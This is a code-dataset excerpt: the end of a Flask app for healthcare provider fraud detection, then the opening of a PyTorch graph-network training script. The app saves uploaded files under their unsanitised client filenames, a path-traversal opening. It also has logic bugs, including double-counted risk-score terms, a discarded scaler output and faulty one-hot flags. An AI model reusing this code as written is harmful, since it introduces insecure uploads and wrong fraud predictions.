'Provider'],axis=1)\r\n with open('std_scaler.pkl', 'rb') as f:\r\n std_scaler = pickle.load(f)\r\n std_data=std_scaler.transform(X)\r\n with open('PCA.pkl', 'rb') as f:\r\n PCA = pickle.load(f)\r\n pca_data=PCA.transform(std_data)\r\n \r\n with open('kmeans25.pkl', 'rb') as f:\r\n Kmeans = pickle.load(f)\r\n \r\n y_pred=Kmeans.predict(pca_data)\r\n \r\n return y_pred\r\n\r\n###################################################\r\n\r\ndef ohc(Final_Test_data):\r\n print(Final_Test_data)\r\n print(Final_Test_data.columns)\r\n\r\n\r\n return Final_Test_data\r\n \r\n \r\n######################################################\r\ndef preprocess_data(test_provider_data,test_benf_data, test_inpatient, test_outpatient,files):\r\n test_benf_data[['ChronicCond_Alzheimer', 'ChronicCond_Heartfailure','ChronicCond_KidneyDisease', 'ChronicCond_Cancer',\r\n 'ChronicCond_ObstrPulmonary', 'ChronicCond_Depression','ChronicCond_Diabetes', 'ChronicCond_IschemicHeart',\r\n 'ChronicCond_Osteoporasis', 'ChronicCond_rheumatoidarthritis','ChronicCond_stroke']] = test_benf_data[\r\n ['ChronicCond_Alzheimer', 'ChronicCond_Heartfailure','ChronicCond_KidneyDisease', 'ChronicCond_Cancer','ChronicCond_ObstrPulmonary',\r\n 'ChronicCond_Depression','ChronicCond_Diabetes', 'ChronicCond_IschemicHeart','ChronicCond_Osteoporasis', 'ChronicCond_rheumatoidarthritis',\r\n 'ChronicCond_stroke']].replace(to_replace=2,value=0)\r\n \r\n test_benf_data['risk_score']=test_benf_data['ChronicCond_Alzheimer']+test_benf_data['ChronicCond_Cancer']+test_benf_data['ChronicCond_Depression']\\\r\n +test_benf_data['ChronicCond_Diabetes']+test_benf_data['ChronicCond_Heartfailure']+test_benf_data['ChronicCond_IschemicHeart']\\\r\n +test_benf_data['ChronicCond_KidneyDisease']+test_benf_data['ChronicCond_KidneyDisease']+test_benf_data['ChronicCond_Osteoporasis']\\\r\n +test_benf_data['ChronicCond_Osteoporasis']+test_benf_data['ChronicCond_rheumatoidarthritis']\r\n \r\n test_benf_data['DOB'] = pd.to_datetime(test_benf_data['DOB'] , format = '%Y-%m-%d')\r\n test_benf_data['DOD'] = pd.to_datetime(test_benf_data['DOD'],format = '%Y-%m-%d',errors='ignore')\r\n\r\n test_benf_data['age']= round(((test_benf_data['DOD'] -test_benf_data['DOB']).dt.days)/365)\r\n test_benf_data['age']=test_benf_data['age'].fillna(round(((pd.to_datetime('2009-12-01' , format = '%Y-%m-%d') - test_benf_data['DOB']).dt.days)/365))\r\n \r\n test_benf_data['died'] = 0\r\n test_benf_data.loc[test_benf_data.DOD.notna(), 'died'] = 1\r\n test_benf_data.loc[test_benf_data.age > 90, 'died'] = 1\r\n \r\n test_inpatient['ClaimStartDt'] = pd.to_datetime(test_inpatient['ClaimStartDt'] , format = '%Y-%m-%d')\r\n test_inpatient['ClaimEndDt'] = pd.to_datetime(test_inpatient['ClaimEndDt'],format = '%Y-%m-%d')\r\n test_inpatient['claim_period'] = ((test_inpatient['ClaimEndDt'] - test_inpatient['ClaimStartDt']).dt.days)+1\r\n\r\n test_inpatient['AdmissionDt'] = pd.to_datetime(test_inpatient['AdmissionDt'] , format = '%Y-%m-%d')\r\n test_inpatient['DischargeDt'] = pd.to_datetime(test_inpatient['DischargeDt'],format = '%Y-%m-%d')\r\n test_inpatient['Hospitalized_period'] = ((test_inpatient['DischargeDt'] - test_inpatient['AdmissionDt']).dt.days)+1\r\n\r\n test_inpatient['ExtraClaimDays'] = np.where( test_inpatient['claim_period']>test_inpatient['Hospitalized_period'], test_inpatient['claim_period'] - test_inpatient['Hospitalized_period'], 0)\r\n test_inpatient['same_physician'] = np.where( test_inpatient['AttendingPhysician']==test_inpatient['OperatingPhysician'], 1, 0)\r\n\r\n test_outpatient['ClaimStartDt'] = pd.to_datetime(test_outpatient['ClaimStartDt'] , format = '%Y-%m-%d')\r\n test_outpatient['ClaimEndDt'] = pd.to_datetime(test_outpatient['ClaimEndDt'],format = '%Y-%m-%d')\r\n test_outpatient['claim_period'] = ((test_outpatient['ClaimEndDt'] - test_outpatient['ClaimStartDt']).dt.days)+1\r\n\r\n test_outpatient['same_physician'] = np.where( test_outpatient['AttendingPhysician']==test_outpatient['OperatingPhysician'], 1, 0)\r\n\r\n test_inpatient['In_Outpatient'] = 1\r\n test_outpatient['In_Outpatient'] = 0\r\n \r\n # Merge inpatient and outpatient dataframes based on common columns\r\n common_columns_test = [ idx for idx in test_outpatient.columns if idx in test_inpatient.columns]\r\n Inpatient_Outpatient_Merge_Te = pd.merge(test_inpatient, test_outpatient, left_on = common_columns_test, right_on = common_columns_test,how = 'outer')\r\n\r\n # Merge beneficiary details with inpatient and outpatient data\r\n Inpatient_Outpatient_Beneficiary_Merge_Te = pd.merge(Inpatient_Outpatient_Merge_Te, test_benf_data,left_on='BeneID',right_on='BeneID',how='inner')\r\n\r\n Final_Test_data = pd.merge(Inpatient_Outpatient_Beneficiary_Merge_Te, test_provider_data , how = 'inner', on = 'Provider' )\r\n Final_Test_data = Final_Test_data.fillna(0)\r\n \r\n\r\n columns = ['InscClaimAmtReimbursed', 'DeductibleAmtPaid', 'IPAnnualReimbursementAmt', 'IPAnnualDeductibleAmt', 'OPAnnualReimbursementAmt', 'OPAnnualDeductibleAmt', 'age', 'Hospitalized_period', 'claim_period', 'risk_score']\r\n new_groupby_columns=['BeneID','AttendingPhysician','OperatingPhysician','OtherPhysician',\r\n 'ClmAdmitDiagnosisCode','DiagnosisGroupCode',\r\n 'ClmDiagnosisCode_1', 'ClmDiagnosisCode_2', 'ClmDiagnosisCode_3',\r\n 'ClmDiagnosisCode_4', 'ClmDiagnosisCode_5', 'ClmDiagnosisCode_6',\r\n 'ClmDiagnosisCode_7', 'ClmDiagnosisCode_8', 'ClmDiagnosisCode_9',\r\n 'ClmDiagnosisCode_10', 'ClmProcedureCode_1', 'ClmProcedureCode_2',\r\n 'ClmProcedureCode_3', 'ClmProcedureCode_4', 'ClmProcedureCode_5',\r\n 'ClmProcedureCode_6']\r\n\r\n Final_Test_data = Newfeature_groupby(Final_Test_data, columns, 'median', new_groupby_columns)\r\n\r\n columns = ['InscClaimAmtReimbursed', 'DeductibleAmtPaid', 'IPAnnualReimbursementAmt', 'IPAnnualDeductibleAmt', 'OPAnnualReimbursementAmt', 'OPAnnualDeductibleAmt', 'age', 'Hospitalized_period', 'claim_period', 'risk_score']\r\n new_groupby_columns=['Provider']\r\n Final_Test_data = Newfeature_groupby( Final_Test_data,columns, 'count', new_groupby_columns)\r\n\r\n #https://datagy.io/pandas-get-dummies/\r\n # Do one hot encoding for gender and Race\r\n if files==1:\r\n print(\"files\",files)\r\n # Convert type of Gender and Race to categorical\r\n Final_Test_data.Gender=Final_Test_data.Gender.astype('category')\r\n Final_Test_data.Race=Final_Test_data.Race.astype('category')\r\n Final_Test_data=pd.get_dummies(Final_Test_data,columns=['Gender','Race'])\r\n \r\n elif files==0:\r\n Final_Test_data['Race1']=0\r\n Final_Test_data['Race2']=0\r\n Final_Test_data['Race3']=0\r\n Final_Test_data['Race5']=0\r\n Final_Test_data['Gender1']=0\r\n Final_Test_data['Gender2']=0\r\n if 1 in Final_Test_data['Race'].values:\r\n Final_Test_data['Race1']=1\r\n elif 2 in Final_Test_data['Race'].values:\r\n Final_Test_data['Race2']=1\r\n elif 3 in Final_Test_data['Race'].values:\r\n Final_Test_data['Race3']=1\r\n elif 5 in Final_Test_data['Race'].values:\r\n Final_Test_data['Race5']=1\r\n\r\n if 1 in Final_Test_data['Gender'].values:\r\n Final_Test_data['Gender1']=1\r\n elif 2 in Final_Test_data['Gender'].values:\r\n Final_Test_data['Gender2']=1\r\n\r\n Final_Test_data=Final_Test_data.drop(['Race','Gender'], axis=1)\r\n\r\n \r\n\r\n Final_Test_data['RenalDiseaseIndicator']=Final_Test_data.RenalDiseaseIndicator.replace(['Y'],1)\r\n if 'PotentialFraud' in Final_Test_data.columns:\r\n Final_Test_data['PotentialFraud']=Final_Test_data.PotentialFraud.replace(['Yes','No'],[1,0])\r\n\r\n remove_columns=['BeneID', 'ClaimID', 'ClaimStartDt','ClaimEndDt','AttendingPhysician','OperatingPhysician', 'OtherPhysician',\r\n 'ClmDiagnosisCode_1','ClmDiagnosisCode_2', 'ClmDiagnosisCode_3', 'ClmDiagnosisCode_4','ClmDiagnosisCode_5',\r\n 'ClmDiagnosisCode_6', 'ClmDiagnosisCode_7','ClmDiagnosisCode_8', 'ClmDiagnosisCode_9', 'ClmDiagnosisCode_10',\r\n 'ClmProcedureCode_1', 'ClmProcedureCode_2', 'ClmProcedureCode_3','ClmProcedureCode_4', 'ClmProcedureCode_5',\r\n 'ClmProcedureCode_6','ClmAdmitDiagnosisCode', 'AdmissionDt','DischargeDt', 'DiagnosisGroupCode','DOB', 'DOD','State', 'County']\r\n\r\n Final_Test_data=Final_Test_data.drop(columns=remove_columns, axis=1)\r\n \r\n Final_Test_data['cluster']=predict_cluster(Final_Test_data)\r\n return Final_Test_data\r\n\r\n\r\n########################################\r\ndef final_fun_1(X, files):\r\n\r\n file=files\r\n # Load the raw train data\r\n Test_Provider = X['Test_Provider']\r\n Test_Beneficiary = X['Test_Beneficiary']\r\n Test_Inpatient = X['Test_Inpatient']\r\n Test_Outpatient = X['Test_Outpatient']\r\n \r\n Final_data= preprocess_data(Test_Provider,Test_Beneficiary,Test_Inpatient,Test_Outpatient,file)\r\n print(Final_data.shape)\r\n # drop provider column\r\n test_provider = Final_data[['Provider']]\r\n test_data = Final_data.drop(axis=1,columns=['Provider'])\r\n\r\n # Standardize the data\r\n with open('std_scaler1.pkl', 'rb') as f:\r\n std_scaler = pickle.load(f)\r\n std_scaler.transform(test_data)\r\n \r\n with open('log_reg.pkl', 'rb') as f:\r\n best_model = pickle.load(f)\r\n \r\n y_pred=best_model.predict(test_data)\r\n test_provider['PredictedFraud']=y_pred\r\n \r\n return test_provider\r\n\r\n##################################################\r\nimport flask\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\ndef index():\r\n return flask.render_template('page1.html')\r\n\r\n@app.route('/forms', methods=[\"GET\", \"POST\"])\r\ndef forms():\r\n redirect('forms')\r\n return flask.render_template('forms.html')\r\n\r\n@app.route('/forms2', methods=[\"GET\", \"POST\"])\r\ndef forms2():\r\n redirect('forms2')\r\n return flask.render_template('forms2.html')\r\n\r\n@app.route('/predict', methods=[\"GET\", \"POST\"])\r\ndef predict():\r\n \r\n if request.method == 'POST':\r\n if request.files:\r\n \r\n uploaded_file = request.files['filename'] # This line uses the same variable and worked fine\r\n print(uploaded_file.filename)\r\n filepath = os.path.join('C:/Users/HP/Downloads/Flask', uploaded_file.filename)\r\n uploaded_file.save(filepath)\r\n test_provider_data=pd.read_csv(filepath)\r\n test_wh_frauddata=test_provider_data.drop(['PotentialFraud'], axis=1)\r\n\r\n uploaded_file = request.files['benefilename'] # This line uses the same variable and worked fine\r\n bene_filepath = os.path.join('C:/Users/HP/Downloads/Flask', uploaded_file.filename)\r\n uploaded_file.save(bene_filepath)\r\n test_benf_data= pd.read_csv(bene_filepath)\r\n\r\n uploaded_file = request.files['infilename'] # This line uses the same variable and worked fine\r\n in_filepath = os.path.join('C:/Users/HP/Downloads/Flask', uploaded_file.filename)\r\n uploaded_file.save(in_filepath)\r\n test_inpatient= pd.read_csv(in_filepath)\r\n\r\n uploaded_file = request.files['outfilename'] # This line uses the same variable and worked fine\r\n out_filepath = os.path.join('C:/Users/HP/Downloads/Flask', uploaded_file.filename)\r\n uploaded_file.save(out_filepath)\r\n test_outpatient= pd.read_csv(out_filepath)\r\n\r\n # create a dictionary which will contain all the files\r\n X = {\"Test_Provider\":test_wh_frauddata, \"Test_Beneficiary\":test_benf_data, \"Test_Inpatient\":test_inpatient, \"Test_Outpatient\":test_outpatient}\r\n\r\n data= final_fun_1(X, 1)\r\n \r\n return render_template('forms.html',tables=[data.to_html()], titles=[''])\r\n\r\n@app.route('/provider', methods=[\"GET\", \"POST\"])\r\ndef provider():\r\n if request.method == 'POST':\r\n data=request.form.to_dict()\r\n test_provider_data= pd.DataFrame([data.values()], columns=data.keys())\r\n filepath = os.path.join('C:/Users/HP/Downloads/Flask','provider.csv')\r\n test_provider_data.to_csv(filepath, index=False)\r\n return render_template('forms2.html',tables1=[test_provider_data.to_html()], titles1=[''])\r\n \r\n\r\n@app.route('/beneficiary', methods=[\"GET\", \"POST\"])\r\ndef beneficiary():\r\n if request.method == 'POST':\r\n data=request.form.to_dict()\r\n test_benf_data= pd.DataFrame([data.values()], columns=data.keys())\r\n filepath = os.path.join('C:/Users/HP/Downloads/Flask','beneficiary.csv')\r\n test_benf_data.to_csv(filepath, index=False)\r\n return render_template('forms2.html',tables2=[test_benf_data.to_html()], titles2=[''])\r\n\r\n\r\n@app.route('/inpatient', methods=[\"GET\", \"POST\"])\r\ndef inpatient():\r\n if request.method == 'POST':\r\n data=request.form.to_dict()\r\n test_inpatient= pd.DataFrame([data.values()], columns=data.keys())\r\n filepath = os.path.join('C:/Users/HP/Downloads/Flask','inpatient.csv')\r\n test_inpatient.to_csv(filepath, index=False)\r\n return render_template('forms2.html',tables3=[test_inpatient.to_html()], titles3=[''])\r\n\r\n@app.route('/outpatient', methods=[\"GET\", \"POST\"])\r\ndef outpatient():\r\n if request.method == 'POST':\r\n data=request.form.to_dict()\r\n test_outpatient= pd.DataFrame([data.values()], columns=data.keys())\r\n filepath = os.path.join('C:/Users/HP/Downloads/Flask','outpatient.csv')\r\n test_outpatient.to_csv(filepath, index=False)\r\n return render_template('forms2.html',tables4=[test_outpatient.to_html()], titles4=[''])\r\n \r\n\r\n@app.route('/detect', methods=[\"GET\", \"POST\"])\r\ndef detect():\r\n test_benf_data=pd.read_csv('beneficiary.csv')\r\n test_provider_data=pd.read_csv('provider.csv')\r\n test_inpatient=pd.read_csv('inpatient.csv')\r\n test_outpatient=pd.read_csv('outpatient.csv')\r\n \r\n X = {\"Test_Provider\":test_provider_data, \"Test_Beneficiary\":test_benf_data, \"Test_Inpatient\":test_inpatient, \"Test_Outpatient\":test_outpatient}\r\n\r\n data= final_fun_1(X,0)\r\n \r\n return render_template('forms2.html',tables=[data.to_html()], titles=[''])\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(host='0.0.0.0', port=8080)\r\n\r\napp.config['FILE_UPLOADS'] = \"C:\\\\Users\\\\HP\\\\Downloads\\\\Flask\"\r\n", "repo_name": "gani1999/Healthcare-Provider-Fraud-detection-analysis", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 15738, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.DataFrame", "line_number": 24, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 30, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 40, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 43, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 47, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 77, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 78, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 81, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 87, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 88, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 91, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 96, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 98, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 102, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 109, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 112, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 114, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 141, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 202, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 206, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 215, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 219, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 223, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 224, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 228, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 229, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 234, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 234, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 235, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 235, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 237, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 237, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 239, "usage_type": "call"}, {"api_name": "os.path", "line_number": 239, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 241, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 244, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 244, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 245, "usage_type": "call"}, {"api_name": "os.path", "line_number": 245, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 247, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 249, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 249, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 250, "usage_type": "call"}, {"api_name": "os.path", "line_number": 250, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 252, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 254, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 254, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 255, "usage_type": "call"}, {"api_name": "os.path", "line_number": 255, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 257, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 264, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 268, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 268, "usage_type": "name"}, {"api_name": "flask.request.form.to_dict", "line_number": 269, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 269, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 269, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 270, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 271, "usage_type": "call"}, {"api_name": "os.path", "line_number": 271, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 273, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 278, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 278, "usage_type": "name"}, {"api_name": "flask.request.form.to_dict", "line_number": 279, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 279, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 279, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 280, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 281, "usage_type": "call"}, {"api_name": "os.path", "line_number": 281, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 283, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 288, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 288, "usage_type": "name"}, {"api_name": "flask.request.form.to_dict", "line_number": 289, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 289, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 289, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 290, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 291, "usage_type": "call"}, {"api_name": "os.path", "line_number": 291, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 293, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 297, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 297, "usage_type": "name"}, {"api_name": "flask.request.form.to_dict", "line_number": 298, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 298, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 298, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 299, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 300, "usage_type": "call"}, {"api_name": "os.path", "line_number": 300, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 302, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 307, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 308, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 309, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 310, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 316, "usage_type": "call"}]} {"seq_id": "12588195922", "text": "import torch.nn.functional as F\r\nimport time\r\nfrom dgl.nn.pytorch import GraphConv, Set2Set, GlobalAttentionPooling\r\nimport json\r\nimport dgl\r\nimport torch.nn as nn\r\nimport torch\r\nimport matplotlib.pyplot as plt\r\nfrom dataloaders import get_dataloaders_from_graph, get_dataloaders_from_csv\r\nimport seaborn as sns\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom prettytable import PrettyTable\r\nfrom sklearn.utils.multiclass import unique_labels\r\nimport numpy as np\r\nfrom sklearn.metrics import multilabel_confusion_matrix\r\n\r\n\"\"\"\r\n## Initial settings ##\r\nSET_SEED = 69\r\n# Compatibility with CUDA and GPU -> remember to move into GPU\r\ndevice = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\r\n# make deterministic the stochastic operation to have better comparable tests\r\nif SET_SEED != -1:\r\n if torch.cuda.is_available():\r\n torch.cuda.manual_seed(SET_SEED)\r\n torch.cuda.manual_seed_all(SET_SEED)\r\n torch.backends.cudnn.deterministic = True\r\n torch.backends.cudnn.benchmark = False\r\n np.random.seed(SET_SEED)\r\n torch.manual_seed(SET_SEED)\r\n\"\"\"\r\n\r\ndef visualize_loss(history, model='Model'):\r\n # Print the accuracy/loss vs epochs graph given an history array #\r\n loss = history[\"loss\"]\r\n val_loss = history[\"val_loss\"]\r\n epochs = list(range(len(loss)))\r\n plt.figure()\r\n plt.plot(epochs, loss, \"b\", label=\"Training loss\")\r\n plt.plot(epochs, val_loss, \"r\", label=\"Validation loss\")\r\n plt.title(f'loss visualization')\r\n plt.xlabel(\"Epochs\")\r\n plt.ylabel(\"Accuracy\")\r\n plt.legend()\r\n plt.savefig(f'images/loss_{model}.jpg')\r\n plt.close()\r\n\r\ndef matrix_confusion_overall(y_test, y_pred, model='Model'):\r\n # Save a confusion matrix with all the class together (2^num classes cases) given the prediction and labels #\r\n labels = unique_labels(y_test, y_pred)\r\n # create confusion matrix\r\n matrix = confusion_matrix(y_test, y_pred, labels)\r\n sns.heatmap(matrix, square=True, annot=True, fmt='d', cbar=False, xticklabels=labels, yticklabels=labels)\r\n # set title and labels\r\n plt.title('Confusion matrix ' + model)\r\n plt.ylabel('true label')\r\n plt.xlabel('predicted label')\r\n plt.savefig('images/full_confusion_matrix_' + model + '.jpg')\r\n plt.close()\r\n # plt.show()\r\n\r\ndef matrix_confusion(y_test, y_pred, model='Model'):\r\n # Save a confusion matrix for each class #\r\n labels = ['big-small', 'dynamic-static', 'press-tap', 'dangerous-safe']\r\n # create confusion matrix\r\n matrix = multilabel_confusion_matrix(y_test, y_pred)\r\n for i in range(4):\r\n print(matrix[i])\r\n sns.heatmap(matrix[i], square=True, annot=True, fmt='d', cbar=False)\r\n # set title and labels\r\n plt.title('Confusion Matrix_' + labels[i])\r\n plt.ylabel('true label')\r\n plt.xlabel('predicted label')\r\n plt.savefig(f'images/confusion_matrix_{labels[i]}_{model}.png')\r\n plt.close()\r\n # plt.show()\r\n\r\ndef class_to_label(y):\r\n # combines a prediction array into a label with the name of all the classes, required for the overall confusion matrix #\r\n y = y.type(torch.uint8)\r\n classes = [['Big', 'Small'], ['Dynamic', 'Static'], ['Press', 'Tap'], ['Dangeours', 'Safe']]\r\n return f'{classes[0][y[0, 0].item()]}/{classes[1][y[0, 1].item()]}/{classes[2][y[0, 2].item()]}/{classes[3][y[0, 3].item()]}'\r\n #return [ classes[0][y[0, 0].item()] , classes[1][y[0, 1].item()], classes[2][y[0, 2].item()], classes[3][y[0, 3].item()] ]\r\n\r\ndef missclassified_obj(statistics, info_encoder, model='Model'):\r\n # Save histograms with the missclassification vs pressure, speed and shape of the interation #\r\n list_shapes = list(info_encoder.values())\r\n # Max value constants\r\n max_pressure = 1300\r\n discretization = 13\r\n max_velocity = 14\r\n for c in statistics:\r\n t = np.squeeze(torch.stack(statistics[c]['obj info']).numpy())\r\n # binarize shapes and show bars\r\n bin_obj_shape = np.bincount(t[:, 0].astype(int))\r\n if bin_obj_shape.size < len(list_shapes):\r\n bin_obj_shape = np.pad(bin_obj_shape, (0, len(list_shapes) - bin_obj_shape.size), 'constant', constant_values=0)\r\n plt.bar(list_shapes, bin_obj_shape)\r\n plt.xticks(list_shapes, list(info_encoder.keys()))\r\n plt.title(f'Misclassification for class {statistics[c][\"class\"]} compared to object shape')\r\n plt.savefig(f'images/statistics_{statistics[c][\"class\"]}_shape_{model}.png')\r\n plt.close()\r\n # binarize pressure values and show bars\r\n bin_pressure = np.bincount(t[:, 1].astype(int))\r\n if bin_pressure.size < max_pressure:\r\n bin_pressure = np.pad(bin_pressure, (0, max_pressure - bin_pressure.size), 'constant', constant_values=0)\r\n # discretize bins\r\n bin_pressure = np.asarray([np.sum(chunk) for chunk in np.split(bin_pressure, discretization)])\r\n plt.bar(np.arange(discretization), bin_pressure)\r\n plt.xticks(np.arange(discretization), np.arange(0, max_pressure, max_pressure / discretization))\r\n plt.title(f'Misclassification for class {statistics[c][\"class\"]} compared to pressure')\r\n plt.savefig(f'images/statistics_{statistics[c][\"class\"]}_pressure_{model}.png')\r\n plt.close()\r\n # binarize velocity and show bars\r\n bin_velocity = np.bincount((t[:, -1] * 10).astype(int))\r\n if bin_velocity.size < max_velocity:\r\n bin_velocity = np.pad(bin_velocity, (0, max_velocity - bin_velocity.size), 'constant', constant_values=0)\r\n plt.bar(np.arange(max_velocity), bin_velocity)\r\n plt.xticks(np.arange(max_velocity), np.arange(max_velocity) / 10)\r\n plt.title(f'Misclassification for class {statistics[c][\"class\"]} compared to velocity')\r\n plt.savefig(f'images/statistics_{statistics[c][\"class\"]}_velocity_{model}.png')\r\n plt.close()\r\n\r\n### Sequence Graph Approach ###\r\nclass GConvNetFrames(nn.Module):\r\n def __init__(self, device, window_size=1, stride_frac=1):\r\n super().__init__()\r\n self.name = 'sequence graph'\r\n self.window_size = window_size #sliding window size\r\n self.stride_frac = stride_frac #fraction of the overlap between a window and the following one\r\n\r\n self.loss = nn.BCELoss()\r\n\r\n self.activation = nn.SiLU()\r\n\r\n hidden = 128\r\n\r\n # Network architecture\r\n # GConv layers\r\n self.GCN_layers = nn.ModuleList()\r\n self.GCN_layers.append(GraphConv(1, 32, activation=self.activation))\r\n self.GCN_layers.append(GraphConv(32, hidden, activation=self.activation))\r\n # temporal layer\r\n self.temporal_layer = nn.GRU(hidden, hidden, bidirectional=False)\r\n # pooling\r\n self.att_pool = GlobalAttentionPooling(nn.Linear(hidden, 1))\r\n # dense layers\r\n self.dense_layers = nn.ModuleList()\r\n self.dense_layers.append(nn.Linear(hidden, 16))\r\n # self.dense_layers.append(nn.GroupNorm(16, 16))\r\n self.dense_layers.append(nn.Linear(16, 4))\r\n\r\n self.device = device #this approach is optimized to work on GPUs\r\n self.to(device)\r\n self.count_parameters()\r\n\r\n def count_parameters(self):\r\n # Return a graphical representation of the network architecture #\r\n model = self\r\n table = PrettyTable([\"Modules\", \"Parameters\"])\r\n total_params = 0\r\n for name, parameter in model.named_parameters():\r\n if not parameter.requires_grad: continue\r\n param = parameter.numel()\r\n table.add_row([name, param])\r\n total_params += param\r\n print(table)\r\n # Print the number of total trainable parameters as measure of the network compexity\r\n print(f\"Total Trainable Params: {total_params}\")\r\n return total_params\r\n\r\n def forward(self, graphs):\r\n try:\r\n features = []\r\n for graph in graphs:\r\n h = graph.ndata['feature'].float()\r\n # for layer, norm in zip(self.GCN_layers, self.GCN_layers_norm):\r\n for layer in self.GCN_layers:\r\n h = layer(graph, h)\r\n # h = norm(h)\r\n graph.ndata['feature'] = h\r\n features.append(h)\r\n batch_graphs = dgl.batch(graphs)\r\n batch_f = torch.cat(features, 0)\r\n # out = self.s2s(batch_graphs, batch_f)\r\n out = self.att_pool(batch_graphs, batch_f)\r\n _, out = self.temporal_layer(torch.reshape(out, (len(graphs), 1, out.shape[-1])))\r\n for dense in self.dense_layers:\r\n out = self.activation(dense(torch.reshape(out, (1, out.shape[-1]))))\r\n #out = nn.Dropout(p=0.1)(out)\r\n return torch.sigmoid(torch.reshape(out, (1, 4)))\r\n except RuntimeError as e:\r\n print('sample skipped: ', e)\r\n print(graphs, [graph.ndata for graph in graphs])\r\n return None\r\n\r\n def train_loop(self, train_dataloader, validation_dataloader, epochs=50, lr=0.001):\r\n model = self # create a model\r\n optimizer = torch.optim.Adam(model.parameters(), lr=lr) # choose an optimizer\r\n ## Configuring the DataLoader ##\r\n batch_size = 1\r\n num_train = train_dataloader.__len__()\r\n\r\n ## Training phase ##\r\n history = {\r\n 'loss': [],\r\n 'val_loss': []\r\n }\r\n acc_history = []\r\n best_acc = 0\r\n for epoch in range(epochs):\r\n start_time = time.time()\r\n print('Epoch ', epoch + 1, 'of ', 